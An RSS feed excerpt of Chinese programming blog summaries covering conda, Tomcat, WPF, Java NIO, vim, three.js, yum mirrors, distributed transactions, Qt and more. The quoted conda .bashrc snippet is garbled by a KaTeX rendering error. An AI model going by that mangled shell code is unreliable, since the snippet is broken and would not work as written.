      <description>转载 https://www.cnblogs.com/devilmaycry812839668/p/10349602.html&#xA;安装 aconda 后Linux的终端界面前部出现（base）字样&#xA;aconda 是做什么用的这里就不说了，一般玩Python的都知道这东西，最早接触这东西是因为它把NVIDIA中cuda计算和Python互连的一个库拿下了，是买下来了还是专业，还是唯一合作的也就记不清了，那就是 numba , 那些年头Python想要原生态调用cuda代码是比较难的，numba提供了一种较好的支持，虽然当时要我好个激动但是后来发现也没啥太大意义和价值，后来随着Python的各种各种版本泛滥，各种库对不同环境的依赖关系难以搞定等问题，当然这都是后来才逐渐凸显出来的问题，现在由于深度学习的各种大火，各种版本的管理又是要人头疼的很，于是我又用起了aconda, 这东西除了太大，太占磁盘空间，下载耗时，安装耗时，太占地方以外还是比较好用的。&#xA;aconda下载地址&#xA;https://www.anaconda.com/distribution/&#xA;下载、安装过程不讲。&#xA;这一次安装以后突然间发现了一个问题，那就是Linux终端变样了，无端的在终端前部分出现了（base）字样，如下图：&#xA;这突然要我感觉是十分的神奇又有些不爽， 凭感觉打开了 ～/.bashrc 文件， 发现如下：&#xA;复制代码&#xA;export PATH=/home/devil/anaconda3/bin:$PATH&#xA;added by Anaconda3 2018.12 installer &amp;gt;&amp;gt;&amp;gt; conda init &amp;gt;&amp;gt;&amp;gt; !! Contents within this block are managed by ‘conda init’ !! __conda_setup=&#34;$(CONDA_REPORT_ERRORS=false ‘/home/devil/anaconda3/bin/conda’ shell.bash hook 2&amp;gt; /dev/null)&#34;&#xA;if [ KaTeX parse error: Expected &#39;EOF&#39;, got &#39;\eval&#39; at position 21: … 0 ]; then \̲e̲v̲a̲l̲ ̲&#34;__conda_setup&#34;&#xA;else&#xA;if [ -f “/home/devil/anaconda3/etc/profile.</description>
    </item>
    <item>
      <title>当tomcat中的webapps文件夹中没了ROOT</title>
      <link>https://bchobby.github.io/posts/8c5b3d7a96bdb2cdff6d68c122303855/</link>
      <pubDate>Wed, 24 Apr 2019 11:11:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8c5b3d7a96bdb2cdff6d68c122303855/</guid>
      <description>部署项目包时，发现没有报错。但访问不到项目，各种百度。&#xA;看了这个大佬的博客，修改了自己的server.xml。root粗线了。&#xA;转自：https://blog.csdn.net/qq_36631900/article/details/85706364&#xA;在server.xml中，host标签下加上&#xA;&amp;lt;Context path=&#34;/&#34; docBase=&#34;/usr/tomcat/apache-tomcat/webapps/XX-web/&#34; reloadable=&#34;true&#34; crossContext=&#34;true&#34; /&amp;gt;&#xA;解决。</description>
    </item>
    <item>
      <title>WPF MVVM应用:动态加载菜单项</title>
      <link>https://bchobby.github.io/posts/e2c9b7d0aa6cc7ffe59f786f141b0682/</link>
      <pubDate>Wed, 24 Apr 2019 08:34:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e2c9b7d0aa6cc7ffe59f786f141b0682/</guid>
      <description>目录&#xA;View&#xA;ViewModel&#xA;效果&#xA;View &amp;lt;Menu x:Name=&#34;MainMenu&#34; ItemsSource=&#34;{Binding MenuItems}&#34; &amp;gt;&amp;lt;/Menu&amp;gt; ViewModel using Prism.Mvvm; using SqlHelp; using System; using System.Collections.Generic; using System.Collections.ObjectModel; using System.Data; using System.Linq; using System.Windows.Controls; namespace WPFSale.ViewModels { public class MainWindowViewModel : BindableBase { private ObservableCollection&amp;lt;MenuItem&amp;gt; menus; public ObservableCollection&amp;lt;MenuItem&amp;gt; MenuItems { get { return menus; } set { SetProperty(ref menus, value); } } public MainWindowViewModel() { LoadMenus(); } private void LoadMenus() { //读取菜单数据库数据 DataTable dataTable = Database.ExecSqlReturnDataTable(&#34;select * from Fun order by OrderID asc&#34;</description>
    </item>
    <item>
      <title>【Java基础】BIO 与 NIO 的区别</title>
      <link>https://bchobby.github.io/posts/e47c41b122cacec5352c3442b361cfae/</link>
      <pubDate>Tue, 23 Apr 2019 14:19:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e47c41b122cacec5352c3442b361cfae/</guid>
      <description>文章目录 1. 基础概念1.1 阻塞与非阻塞1.2 同步与异步 2. BIO 与 NIO2.1 BIO2.1.1概念2.1.2 实现机制2.1.3 工作原理 2.2 NIO2.2.1 概念2.2.1 实现机制2.2.2 为什么使用NIO2.2.3 三大主要组件2.2.3.1 通道 Channel2.2.3.2 选择器 Selector2.2.3.3 缓冲区 Buffer 2.2.4 有关缓冲的一些概念或技术 3. 面向流和面向缓冲4. 为什么NIO比BIO效率高5.总结 在进入主题之前，先说一下BIO的发展史， 一开始我们使用的BIO，但是BIO是同步阻塞的，即这个线程没有处理完数据的话，是无法进行其他操作的；于是用多线程处理进行了改造，即每个请求开启一个新线程，但是这样又存在一个问题：线程过多（每个线程对象都是占用内存的，32位系统1个线程对象默认最大需要320kb内存，64位系统最大需要1M，如果并发高的话，内存是不够的，会出现内存爆满情况）；接着又用线程池改造，限定线程的数量，此时又会出现一个问题，比如线程池设置的并发数量为100，这100个线程都是处理大文件，101只是处理几kb的文件，但是要等待好久为了解决以上问题，出现了NIO 1. 基础概念 1.1 阻塞与非阻塞 阻塞和非阻塞是进程访问数据时，数据是否准备就绪的一种处理方式：&#xA;阻塞：当数据没有准备好，进程必须等待缓冲区的数据准备好才能返回做其他事情，否则一直处于等待，无法进行其他事情&#xA;非阻塞：当数据没有准备好，直接返回不会等待，如果数据已经准备好，则直接返回&#xA;1.2 同步与异步 同步和异步是基于应用程序和操作系统处理IO时事件所采用的方式：&#xA;同步：应用程序直接参与IO读写操作&#xA;异步：所有的IO读写操作交给操作系统处理，应用程序只需要等待通知&#xA;2. BIO 与 NIO 首先先明白连接请求和IO请求，客户端和服务端进行通信时，首先服务端会监听到有一个客户端请求，为其创建创建通信套接字（Socket），此时可能只是建立了一个连接，不做什么的数据传输即IO操作，所以要明白 连接请求和IO请求不是必然的关系，即有连接 一定有IO&#xA;2.1 BIO 2.1.1概念 同步阻塞IO，服务器实现模式为一个连接一个线程，即客户端有连接请求时，服务端为其建立一个线程进行处理，如果这个线程不做任何事情，这个线程就一直空闲，但也不会做其他事情，这样造成了线程的浪费&#xA;2.1.2 实现机制 面向流，即I/O系统以流的形式处理数据，一次一个字节的处理数据，一个输入流产生一个字节的数据，一个输出流消费一个字节的数据。&#xA;2.1.3 工作原理 由一个专门的线程处理所有的IO事件，并负责分发事件驱动机制：事件到的时候触发，而不是同步的去监视事件线程通讯：线程之间同过wait，notify等方式通讯，保证每次上下文切换都是有意义的，减少五位的线程切换 2.2 NIO 2.2.1 概念 同步非阻塞，服务器实现模式为一个连接一个线程，即客户端有连接请求时，都会注册到多路复用器上，多路复用器轮询到有IO请求时，才启动一个线程处理&#xA;2.2.1 实现机制 面向块，即面向块，即I/O系统以块的形式处理数据，一次一个数据块，线程这样比流快，但是面向块的I/O不如面向流I/O优雅和简单&#xA;2.2.2 为什么使用NIO 目的是为了让 Java 程序员可以实现高速 I/O ，NIO 将最耗时的 I/O 操作(即填充和提取缓冲区)转移回操作系统，因而可以极大地提高速度</description>
    </item>
    <item>
      <title>vim使用教程</title>
      <link>https://bchobby.github.io/posts/b5a387f49767204d8d67980823f2914e/</link>
      <pubDate>Tue, 23 Apr 2019 11:29:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b5a387f49767204d8d67980823f2914e/</guid>
      <description>转载 https://blog.csdn.net/qq_30748863/article/details/84669058&#xA;文章目录&#xA;一、什么是VIM&#xA;二、VIM入门&#xA;三、常用命令介绍&#xA;移动选择复制粘贴删除（剪切）撤销恢复查找替换（修改）缩进标记查看历史进入插入模式进入底行模式其他tips&#xA;一、什么是VIM&#xA;在说vim之前，先说下什么是vi。vi是visual interface的简称，是Linux中最经典的文本编辑器。vi的核心设计思想是：让程序员的手始终保持在键盘的核心区域就能够完成所有的编辑操作。而Vim又是从 vi 发展出来的一个文本编辑器，即vi improved,它在代码补全、编译及错误跳转等方便编程的功能上特别丰富，在程序员中被广泛使用。&#xA;为方便理解，也给出上图的英文版&#xA;从这张图就可以看出，vim的命令繁多，不过灵活使用后将会大大提高效率。对于新手可先不必理会上图，下文会把常用的使用方法一一道来，助你入门。 二、VIM入门&#xA;首先你要明白的一点是，VIM有3种主要的工作模式：&#xA;命令模式(Command mode)&#xA;用户启动vim时，首先进入的便是命令模式。命令模式可认为是vim的入口，此模式下敲击键盘的字符都会被当做命令，而非在文本中插入字符。比如，我想打出我的名字kevin，我敲下键盘上的k kk键，屏幕上并不会显示出k kk字符，事实上，屏幕上什么反应也没有。这时候，不要怀疑电脑坏了，而是你并没有进入插入模式，暂时还不能进行插入的操作。那命令模式下都有哪些命令呢？诸如移动、选择、复制、粘贴、删除、查找、替换、缩进、撤销、恢复、定位、翻页……都是在命令模式下完成的。关于这些命令后面还会介绍，这里大家先掌握进入插入模式的命令之一：i。当在命令模式下输入i后，便进入了插入模式，然后就可以正常地编辑文字了。&#xA;插入模式(Insert mode)&#xA;此模式下可以正常地编辑文字，与平时使用习惯差别不大。&#xA;底行模式(Last line mode)&#xA;此模式下可以执行保存、退出以及其他的一些功能。按下Shift+:即可进入底行模式。输入wq为保存退出，输入q!为不保存退出。&#xA;此外，还有其他一些模式，如可视模式（Visual）、替换模式（Replace）等，将会在下文进行介绍。&#xA;三、常用命令介绍&#xA;移动&#xA;方位移动&#xA;h:光标左移一格&#xA;j:光标下移一格&#xA;k:光标上移一格&#xA;l:光标右移一格&#xA;当然，关于上下左右的移动使用方向键也是允许的。&#xA;行内移动&#xA;0:光标移至行首&#xA;$:光标移至行尾&#xA;^:光标移到当前行的第一个非空字符&#xA;g_:光标移到当前行的最后一个非空字符&#xA;b:光标到上一个字的开头&#xA;w:光标到下一个字的开头&#xA;e:光标移到下一个字的结尾&#xA;ge:光标移到上一个字的结尾&#xA;fa:移到下一个a出现的位置(&#39;F’与之相反)&#xA;ta:移到下一个a出现位置的前一个位置（‘T’与之相反）&#xA;行间移动&#xA;G:光标移至文末&#xA;gg:光标移至开头&#xA;Ngg或NG:光标移至N行开头&#xA;语义移动&#xA;(:光标移至上一句首&#xA;):光标移至下一句首&#xA;{:光标移至段首&#xA;}:光标移至段尾&#xA;屏幕移动&#xA;H:将光标移到屏幕的最顶行&#xA;M:将光标移到屏幕中间&#xA;L:将光标移到屏幕最底行&#xA;Ctrl+b:向上翻页&#xA;Ctrl+f:向下翻页&#xA;选择&#xA;此功能需进入可视模式，方法为按下键盘上的v键。然后搭配上面移动的想关命令即可实现文本的选择。读者可自行探索使用技巧，如ggvG可实现全选，v$可实现选中某行等。&#xA;补充：使用Ctrl+v可进入可视块模式，允许垂直方向选择文本。&#xA;复制&#xA;y:复制(可与移动命令搭配使用，自行探索，如yw可复制光标至词尾的内容)</description>
    </item>
    <item>
      <title>canvas生成海报</title>
      <link>https://bchobby.github.io/posts/c746809dd004fa749bb8e005a4335a5b/</link>
      <pubDate>Mon, 22 Apr 2019 16:53:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c746809dd004fa749bb8e005a4335a5b/</guid>
      <description>虽然之前也做过类似的生成海报的项目，但是这个项目我又网上查找了一下，发现一个插件挺好用的 html2canvas.js&#xA;http://html2canvas.hertzen.com/这里可以下载这个插件&#xA;用起来很方面&#xA;优先引入这个js&#xA;&amp;lt;script type=&#34;text/javascript&#34; src=&#34;js/html2canvas.min.js&#34;&amp;gt;&amp;lt;/script&amp;gt;&#xA;然后需要定义canvas容器，编写你需要生成的html &amp;lt;canvas id=&#34;myCanvas&#34; width=&#34;1125&#34; height=&#34;1180&#34; style=&#34;display: none;&#34;&amp;gt;&amp;lt;/canvas&amp;gt;//定义canvas &amp;lt;div class=&#34;bigImg&#34; style=&#34;display: none;width: 100%;height: auto;position: absolute;left:0;top: 0;z-index:8;overflow-y: auto;&#34;&amp;gt;&amp;lt;/div&amp;gt;//生成图片展示的地方 &amp;lt;div class=&#34;wrap-con&#34; style=&#34;width: 100%;z-index:-1;&#34;&amp;gt;//需要转换成图片的html &amp;lt;img src=&#34;images/p901.png&#34; class=&#34;p901&#34;&amp;gt; &amp;lt;div class=&#34;people-photo 902&#34; style=&#34;margin-top: -0.5rem;&#34;&amp;gt; &amp;lt;img src=&#34;images/photo-zh2.png&#34; class=&#34;photo3&#34;&amp;gt; &amp;lt;img src=&#34;images/photo.png&#34; class=&#34;photo1&#34;&amp;gt; &amp;lt;img src=&#34;images/photo-zh1.png&#34; class=&#34;photo2&#34;&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;changeContent&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;img src=&#34;images/erma.png&#34; class=&#34;p903&#34;&amp;gt; &amp;lt;img src=&#34;images/p903.png&#34; class=&#34;p904&#34;&amp;gt; &amp;lt;img src=&#34;images/p905.png&#34; class=&#34;p905&#34; style=&#34;margin-bottom:0;position: absolute; bottom: 0;&#34;&amp;gt; &amp;lt;/div&amp;gt; 下面是如何使用js去把html生成图片&#xA;var canvas = document.getElementById(&#34;myCanvas&#34;); var _canvas = document.</description>
    </item>
    <item>
      <title>hive NullPointerException null</title>
      <link>https://bchobby.github.io/posts/df473c27c3fb6ddc5f129bff497a8276/</link>
      <pubDate>Mon, 22 Apr 2019 15:56:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df473c27c3fb6ddc5f129bff497a8276/</guid>
      <description>insert overwrite table table_name select&#xA;&#39;2019-04-12&#39; min_date,&#xA;&#39;2019-04-12&#39; conf_date&#xA;在hivesql里这样写，可能会报空指针错误。&#xA;需要加上from default.dual 以防万一</description>
    </item>
    <item>
      <title>移动端h5 实现多个音频播放</title>
      <link>https://bchobby.github.io/posts/50851a54da7b774b640bf85153472559/</link>
      <pubDate>Mon, 22 Apr 2019 15:55:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/50851a54da7b774b640bf85153472559/</guid>
      <description>前一段时间做到一个项目，其中用到很多之前没用过的东西，其中一个就是h5的多音频实现，背景音频和说话同时播放，其中出现了很多问题，不过总算找到了解决方案。&#xA;平时做H５如果只有一个音乐的话就直接在页面里面添加一个audio标签，具体这个标签怎么使用，有哪些属性可以参考http://www.runoob.com/tags/ref-av-dom.html&#xA;&amp;lt;audio id=&#34;backMusic&#34; src=&#34;music.mp3&#34; autoplay loop&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;!--音乐--&amp;gt;&#xA;今天就来解决一下，怎么播放多个音频文件&#xA;刚开始我的方法是在H5页面放很多音频，也就是很多audio标签，发现苹果手机不兼容，它只能播放一个音频，暂停上一个，下一个也不会播放，后面网上查找了一下，说苹果微信自带播放音频的只能同时播放一个，然后只能暂停背景音乐去播放说话的声音&#xA;这个我是通过动态修改audio标签的src属性&#xA;下面是我定义的音乐的文件，打开页面自动播放背景音乐 var backMusic = document.getElementById(&#34;backMusic&#34;); setTimeout(function(){ backMusic.play(); music.play(); },100) document.addEventListener(&#39;DOMContentLoaded&#39;, function () { function audioAutoPlay() { music.play(); backMusic.play(); document.addEventListener(&#34;WeixinJSBridgeReady&#34;, function () { music.play(); backMusic.play(); }, false); 然后我又在需要说话的时候把这个背景音乐的src的值动态改变为需要播放的音频&#xA;music.pause(); music.src=&#34;fumu.mp3&#34;;//父母唠叨 setTimeout (function(){ music.play(); },2000); 这样只能实现单个音频播放，但是要实现多个音频同时播放还是没解决，后来又看了别人发的一个项目参考了一下，进行了尝试，发现居然可以了&#xA;//定义 &amp;lt;div class=&#34;audiopalyer&#34; style=&#34;display: none&#34;&amp;gt; &amp;lt;audio id=&#34;backMusic&#34; src=&#34;music.mp3&#34; autoplay loop&amp;gt;&amp;lt;/audio&amp;gt; &amp;lt;!--背景音乐--&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;div class=&#34;talkplay&#34; style=&#34;display: none&#34;&amp;gt; &amp;lt;audio id=&#34;audios&#34; src=&#34;music.mp3&#34; &amp;gt;&amp;lt;/audio&amp;gt;//中间穿插的和背景音乐同时播放的音频 &amp;lt;/div&amp;gt; //js var music = document.</description>
    </item>
    <item>
      <title>WebGL three.js学习笔记 法向量网格材质MeshNormalMaterial的介绍和创建360度全景天空盒的方法</title>
      <link>https://bchobby.github.io/posts/0834b45b5b28437a5012dccd8d4c1e26/</link>
      <pubDate>Sun, 21 Apr 2019 23:10:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0834b45b5b28437a5012dccd8d4c1e26/</guid>
      <description>WebGL学习----Three.js学习笔记（5） 点击查看demo演示 Demo地址：https://nsytsqdtn.github.io/demo/360/360 简单网格材质 MeshNormalMaterial MeshNormalMaterial是一种不受渲染时使用的颜色影响的材质，它只与自己每一个面从内到外的法向量有关。法向量在webgl中用处十分广泛，光的反射，以及三维图形的纹理映射都与这个有关。&#xA;从图中可以看到，网格的每一面渲染的颜色都是不一样的，如果我们想要在物体表面添加法向量，我们可以使用的THREE.ArrowHelper去表示每一个法向量，它的参数为&#xA;THREE.ArrowHelper（dir, origin, length, color, headLength, headWidth）&#xA;其中参数的意义为：&#xA;dir:方向,默认是法向量&#xA;origin:开始的坐标位置&#xA;length：辅助线的长度&#xA;color：辅助线的颜色&#xA;headLength：头部的长度&#xA;headWidth：头部的宽度&#xA;对于一个球体，要描述它每一个面的法向量，首先需要对它的每一个面进行遍历，取出这个面上的三个顶点（因为webgl的面都是三角形，所以是三个顶点），通过divideScalar(3)这个函数计算它的中心位置，我们就可以在这个中心位置点上，从内向外引出一个ArrowHelper，来模拟法向量。&#xA;for(let i=0;i&amp;lt;sphereGeometry.faces.length;i++){//在每一个面上面循环 let face = sphereGeometry.faces[i];//得到每个面的对象 let centroid = new THREE.Vector3(); //先创建一个vector3对象，要使用这个对象找到每个面的中心 centroid.add(sphereGeometry.vertices[face.a]); // 将这该面的三个顶点的索引传给sphereGeometry.vertices找到其顶点的坐标 //再添加进centroid centroid.add(sphereGeometry.vertices[face.b]); centroid.add(sphereGeometry.vertices[face.c]); centroid.divideScalar(3);//三角形的中心点坐标 let arrow = new THREE.ArrowHelper( face.normal,//face这个面的法向量 centroid, 2, 0xffcc55, 0.5, 0.5);//箭头辅助线，相当于把法向量用箭头表示出来 sphere.add(arrow); } 其中，centroid.add(sphereGeometry.vertices[face.a])这段代码中的sphereGeometry.vertices存有几何体的所有顶点信息，通过[ ]索引可以取得其中的某一个顶点。face.a还有下面的face.b和c都是该面的顶点索引号，表示这个面是由顶点编号为face.a，face.b，face.c的三个顶点所构成的一个三角形（webgl的面都是三角形），然后我们再计算这三个顶点的中心点。&#xA;菜单面板的设置 在菜单面板中设置一些MeshNormalmaterial的一些属性，便于去测试这种材质的一些特质&#xA;其中：&#xA;this.visible = meshMaterial.visible;//是否可见&#xA;this.wireframe = meshMaterial.wireframe;//是否以线框的方式渲染物体&#xA;this.wireframeWidth = meshMaterial.wireframeLinewidth;//线框的宽度&#xA;this.transparent = meshMaterial.</description>
    </item>
    <item>
      <title>redhat7 rhel7怎么修改镜像源 阿里源 源</title>
      <link>https://bchobby.github.io/posts/1d7e927d1fed013763ad2d1fe5496b21/</link>
      <pubDate>Sun, 21 Apr 2019 18:44:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d7e927d1fed013763ad2d1fe5496b21/</guid>
      <description> 由于redhat商业化，注册才能使用其源，这里用阿里的centos源代替&#xA;https://blog.csdn.net/xlnhaha/article/details/82049379&#xA;1 .下载CentOS-Base.repo文件 该文件会下载到 /etc/yum.repos.d 这个目录下面&#xA;wget -O /etc/yum.repos.d/CentOS-Base.repo http://mirrors.aliyun.com/repo/Centos-7.repo&#xA;将$releaseserve替换为7， 双击CentOS-Base.repo文件打开后按ctr+h键 查找后全部替换&#xA;执行 yum clean all 清楚原来的缓存&#xA;执行 yum makecache 建立元数据缓存&#xA;配置成功啦 </description>
    </item>
    <item>
      <title>浅谈分布式事务的解决方案</title>
      <link>https://bchobby.github.io/posts/7e24b26d84f7e9cea364f2e1cbcba8e3/</link>
      <pubDate>Sun, 21 Apr 2019 00:21:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e24b26d84f7e9cea364f2e1cbcba8e3/</guid>
      <description>一、分布式事务 分布式事务就是指事务的参与者、支持事务的服务器、资源服务器以及事务管理器分别位于不同的分布式系统的不同节点之上。以上是百度百科的解释，简单的说，就是一次大的操作由不同的小操作组成，这些小的操作分布在不同的服务器上，且属于不同的应用，分布式事务需要保证这些小操作要么全部成功，要么全部失败。本质上来说，分布式事务就是为了保证不同数据库的数据一致性。&#xA;画外音：提起分布式系统，我们不得不想起CAP理论。这里不展开讨论，可以参考前篇文章分布式系统理解之CAP理论的发展&#xA;以商品流水账单为例，我们拆分为商品购买系统，订单系统，支付系统。&#xA;用户看中一件商品，点击购买。商品购买系统响应用户的点击，向订单系统插入一条订单信息。跳转到支付系统完成支付。 在用户整个购买商品的过程中，我们需要保证事件1，2，3在没有异常的情况下全部执行成功，一旦某个系统抛出异常，都需要回滚。&#xA;那么，如何保证各个子系统的操作具有一致性呢？这就是我们下面提到的分布式事务的解决方案。&#xA;在这里，文章中没有提到分布式一致性协议，下面简单列举一下，有兴趣的读者可以参考其他详细资料：&#xA;两阶段提交协议三阶段提交协议Paxos协议Raft协议 二、分布式事务的解决方案 1.两阶段提交方案/XA方案 该方案基于两阶段提交协议，因此也叫做两阶段提交方案。在该分布式系统中，其中 需要一个系统担任协调器的角色，其他系统担任参与者的角色。主要分为Commit-request阶段和Commit阶段&#xA;请求阶段：首先协调器会向所有的参与者发送准备提交或者取消提交的请求，然后会收集参与者的决策。提交阶段：协调者会收集所有参与者的决策信息，当且仅当所有的参与者向协调器发送确认消息时协调器才会提交请求，否则执行回滚或者取消请求。 （上图摘自网上）&#xA;该方案的缺陷：&#xA;同步阻塞：所有的参与者都是事务同步阻塞型的。当参与者占有公共资源时，其他第三方节点访问公共资源不得不处于阻塞状态。单点故障：一旦协调器发生故障，系统不可用。数据不一致：当协调器发送commit之后，有的参与者收到commit消息，事务执行成功，有的没有收到，处于阻塞状态，这段时间会产生数据不一致性。不确定性：当协调器发送commit之后，并且此时只有一个参与者收到了commit，那么当该参与者与协调器同时宕机之后，重新选举的协调器无法确定该条消息是否提交成功。 XA方案的实现方式可以使用Spring+JTA来实现，可以参考文章：Springboot+atomikos+jta实现分布式事务统一管理&#xA;2.TCC方案 TCC方案分为Try Confirm Cancel三个阶段，属于补偿性分布式事务。&#xA;Try：尝试待执行的业务&#xA;这个过程并未执行业务，只是完成所有业务的一致性检查，并预留好执行所需的全部资源Confirm：执行业务&#xA;这个过程真正开始执行业务，由于Try阶段已经完成了一致性检查，因此本过程直接执行，而不做任何检查。并且在执行的过程中，会使用到Try阶段预留的业务资源。Cancel：取消执行的业务&#xA;若业务执行失败，则进入Cancel阶段，它会释放所有占用的业务资源，并回滚Confirm阶段执行的操作。 以一个电商系统用户购买商品的流水线为例。&#xA;Try阶段：&#xA;在Try阶段成功之后进入Confirm阶段，如有任何异常，进入Cancel阶段。&#xA;Confirm阶段&#xA;Cancel阶段&#xA;假设库存扣减失败，此时需要回滚取消事务。&#xA;TCC方案适用于一致性要求极高的系统中，比如金钱交易相关的系统中，不过可以看出，其基于补偿的原理，因此，需要编写大量的补偿事务的代码，比较冗余。不过现有开源的TCC框架，比如TCC-transaction。&#xA;3. 本地消息表 本地消息表分布式事务解决方案是国外的eBay提出的一套方案。&#xA;需要注意的是，该方案中，在A系统中，我们首先写入业务表，然后写入消息表，然后将消息发送到MQ中，在B系统中需要先写入消息表，这是为了保证消息重复消费，为了保证消息消费的幂等性，我们可以使用数据的唯一键来约束。&#xA;当B系统执行成功之后，需要通知A系统执行成功，此时可以使用一个监听器，如Zookeeper，ZK监听到执行成功更新A系统成功。然后开始发送下一条消息。&#xA;A系统中需要有一个后台线程，不断的去判断A系统的状态为待确认的消息，设置超时机制，如果超时，重新发送到MQ中。直到执行成功。&#xA;可以看出，本地消息表方案需要写入消息表中，如果在高并发的场景下会进行大量的磁盘IO，因此该方案不适用于高并发场景。&#xA;4.可靠消息最终一致性方案 该方案基于本地消息表进行优化，不使用本地消息表，而是基于MQ，比如阿里的RocketMQ就支持消息事务。&#xA;在该方案中，首先A系统需要向MQ中发送prepare消息，然后执行A系统的业务，写入数据库成功之后向MQ发送confirm消息，当消息为confirm状态时，B系统就可以消费到消息，消费成功之后返回ACK确认消息给MQ。&#xA;需要注意的是。需要保证B系统消费消息的幂等性，可以借助第三方系统。比如在redis中设置标识，标明已经消费过该消息，或者借助ZK基于分布式锁的原理，创建节点，重复消费消息，创建失败。&#xA;5.最大努力通知方案 最大努力通知型( Best-effort delivery)是最简单的一种柔性事务，适用于一些最终一致性时间敏感度低的业务，且被动方处理结果 不影响主动方的处理结果。典型的使用场景：如银行通知、商户通知等。&#xA;在该系统中，A系统执行完本地事务，向MQ发送消息，最大努力通知服务消费消息，比如消息服务，然后调用B系统的接口，执行B系统的本地事务，如果B系统执行成功则OK，否则不断重试，重复多次之后还是失败的话就放弃执行。&#xA;参考文章：&#xA;http://www.tianshouzhi.com/api/tutorials/distributed_transaction/387&#xA;https://blog.csdn.net/u010425776/article/details/79516298</description>
    </item>
    <item>
      <title>【Qt编程笔记】采用遍历方式删除QList中全部元素的方法</title>
      <link>https://bchobby.github.io/posts/d49b2a12e684a042a465d21fd0ce2fc5/</link>
      <pubDate>Sat, 20 Apr 2019 14:55:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d49b2a12e684a042a465d21fd0ce2fc5/</guid>
      <description>QList类是Qt提供的链表模板类，在日常工作和学习中经常会用到，虽然QList操作十分便利，但是在用遍历方式删除全部元素时很可能会因为疏忽造成没有将元素全部删除，从而给程序留下隐患。下面小结一下采用遍历方式删除QList中全部元素的方法，避免重走弯路。&#xA;下面将比较for循环和foreach循环两种方式下的不同，并给出正确的删除方式。&#xA;在比较之前，首先构建一个QList对象，其中包含若干QString类型的元素：&#xA;QList&amp;lt;QString&amp;gt; qlist; qlist&amp;lt;&amp;lt;&#34;a&#34;&amp;lt;&amp;lt;&#34;b&#34;&amp;lt;&amp;lt;&#34;c&#34;&amp;lt;&amp;lt;&#34;d&#34;; qDebug()&amp;lt;&amp;lt;&#34;qlist.size()=&#34;&amp;lt;&amp;lt;qlist.size(); 此时程序可以得到如下结果：&#xA;qlist.size()= 4&#xA;for循环删除方式 很多人可能会出于习惯选择这个方式来删除元素，例如：&#xA;for(int i=0;i&amp;lt;qlist.size();++i) { qlist.removeAt(i); qDebug()&amp;lt;&amp;lt;&#34;qlist.size()=&#34;&amp;lt;&amp;lt;qlist.size(); } 这时程序的显示结果为：&#xA;qlist.size()= 3&#xA;qlist.size()= 2&#xA;打印qlist中的全部元素：&#xA;foreach(auto item,qlist) { qDebug()&amp;lt;&amp;lt;item; } 得到：&#xA;“b”&#xA;“d”&#xA;由此可以看出，该方式不能删除QList对象中的全部元素，原因是在每次循环过程中，使用removeAt成员函数删除一个指定元素之后，QList对象的元素个数也随之减1，即size成员函数的返回值在每次循环过程中都会发生变化，因此导致无法成功删除全部元素。&#xA;foreach循环删除方式 采用foreach方式删除全部元素：&#xA;foreach(auto item,qlist) { qlist.removeOne(item); qDebug()&amp;lt;&amp;lt;&#34;qlist.size()=&#34;&amp;lt;&amp;lt;qlist.size(); } 采用这种方式可以得到如下结果：&#xA;qlist.size()= 3&#xA;qlist.size()= 2&#xA;qlist.size()= 1&#xA;qlist.size()= 0&#xA;由此可见，该方式可以成功遍历删除QList对象中的全部元素，因此，在QList类的实际使用过程中，推荐使用foreach循环的方式删除链表中的全部元素。</description>
    </item>
    <item>
      <title>算法科普：什么是约瑟夫环</title>
      <link>https://bchobby.github.io/posts/6600781fb18d856a5d45a9f10e3d1e87/</link>
      <pubDate>Sat, 20 Apr 2019 08:40:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6600781fb18d856a5d45a9f10e3d1e87/</guid>
      <description>1 问题描述 约瑟夫环（约瑟夫问题）是一个数学的应用问题：已知 n 个人（以编号1，2，3…n分别表示）围坐在一张圆桌周围。从编号为 k 的人开始报数，数到 m 的那个人出圈；他的下一个人又从 1 开始报数，数到 m 的那个人又出圈；依此规律重复下去，直到剩余最后一个胜利者。&#xA;例如：有10个人围成一圈进行此游戏，每个人编号为 1-10 。若规定数到 3 的人出圈。则游戏过程如下。&#xA;（1）开始报数，第一个数到 3 的人为 3 号，3 号出圈。&#xA;1， 2， 【3】， 4， 5， 6， 7， 8， 9， 10。&#xA;（2）从4号重新从1开始计数，则接下来数到3的人为6号，6号出圈。&#xA;1， 2， 【3】， 4， 5， 【6】， 7， 8， 9， 10。&#xA;（3）从7号重新从1开始计数，则接下来数到3的人为9号，9号出圈。&#xA;1， 2， 【3】， 4， 5， 【6】， 7， 8， 【9】， 10。&#xA;（4）从10号重新从1开始计数，由于10个人称环形结构，则接下来数到3的人为2号，2号出圈。&#xA;1， 【2】， 【3】， 4， 5， 【6】， 7， 8， 【9】， 10。&#xA;（5）从4号重新从1开始计数，则接下来数到3的人为7号，7号出圈。&#xA;1， 【2】， 【3】， 4， 5， 【6】， 【7】， 8， 【9】， 10。</description>
    </item>
    <item>
      <title>vscode 简单正则匹配和替换，并留取关键字</title>
      <link>https://bchobby.github.io/posts/c00d3171c25b0dd00471a9b08b8fc582/</link>
      <pubDate>Fri, 19 Apr 2019 16:22:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c00d3171c25b0dd00471a9b08b8fc582/</guid>
      <description>替换class=&#34;abc&#34; 为 class=&#34;$style[&#39;abc&#39;]&#34;&#xA;查找正则：class=&#34;(.*?)&#34;&#xA;替换：class=&#34;$style[&#39;$1&#39;]&#34;</description>
    </item>
    <item>
      <title>ffmpeg h265(flv封装) 转码成 h264 (flv封装)</title>
      <link>https://bchobby.github.io/posts/8bd99a85dbf9f5723446f64aa450eb14/</link>
